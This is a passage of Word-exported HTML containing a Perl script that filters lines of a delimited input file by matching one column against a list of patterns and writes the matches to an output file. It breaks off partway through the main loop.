<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo2; tab-stops: list 66.0pt;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Language/Tools used for development<span style="mso-tab-count: 1;">        </span>Shell</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal; mso-outline-level: 1;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -39pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list 45.0pt; mso-outline-level: 1;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">3.<span style="font: 7pt &quot;Times New Roman&quot;;">    </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Code</span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">#!/usr/bin/perl</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">#$Id: test.pl,v 2.0 2004/10/08 13:00:03 kumap Exp $</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"># Performs the same feature of &#8220;cut&#8221; in shell scripts.</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">sub splitValue()</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my $target<span style="mso-spacerun: yes;">    </span>= $_[0];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my $delimiter = $_[1];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my $fieldNum<span style="mso-spacerun: yes;">  </span>= $_[2];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my @tempArray = split(/$delimiter/, $target);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>return $tempArray[$fieldNum - 1]; </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">if ( @ARGV != 4 )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">    </span>print &#8220;usage: $0 &lt;Input file&gt; &lt;delimiter&gt; &lt;Pattern file&gt; &lt;columnNumber&gt;\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">    </span>exit (1);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $inputFile<span style="mso-spacerun: yes;">     </span>= $ARGV[0];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $delimiter<span style="mso-spacerun: yes;">     </span>= $ARGV[1];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $patternFile<span style="mso-spacerun: yes;">   </span>= $ARGV[2];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $columnNum<span style="mso-spacerun: yes;">     </span>= $ARGV[3];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8221; Arguments = &#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8220;@ARGV&#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8220;\n&#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$columnNum = $columnNum &#8211; 1;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8221; *) Converting column number to index : $columnNum&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">if ( $columnNum &lt; 0 )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">   </span>print &#8220;\n *) Invalid column number\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">   </span>exit (1);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">open (PATTERN_FILE, &#8220;&lt;$patternFile&#8221;) || die &#8220;Error: Could not open $patternFile for reading&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">open (INPUT_FILE, &#8220;&lt;$inputFile&#8221;) || die &#8220;Error: Could not open $inputFile for reading&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">open (OUTPUT_FILE, &#8220;&gt;${inputFile}.out&#8221;) || die &#8220;Error: Could not open ${inputFile}.out for writing&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$index = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">while ($line = &lt;PATTERN_FILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>chomp($line);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>$patternArray [ $index ] = $line;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>$patternArrayHash { &#8220;$line&#8221; } = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>$index++;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$maxIndex=$index-1;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$index = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">while ( $line = &lt;INPUT_FILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>chomp($line);<span style="mso-spacerun: yes;">         </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>print &#8221; \n *) Input: $line \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>@lineArray = split(/$delimiter/,$line);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">         </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#for ( $i=0; $i &lt;= $maxIndex; $i++)</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>$pattern=$patternArray [ $i ];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>print &#8221; *) Pattern : $pattern \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>print &#8221; *) Column : $lineArray[$columnNum] \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>#if ( $lineArray [ $columnNum ] eq $pattern )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>if ( $lineArray [ $columnNum ] =~<span style="mso-spacerun: yes;">  </span>/^$pattern$/ )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">     </span>print OUTPUT_FILE &#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">     </span>print<span style="mso-spacerun: yes;">  </span>&#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>#<span style="mso-spacerun: yes;">   </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>for $pattern ( keys %patternArrayHash )</span></p>
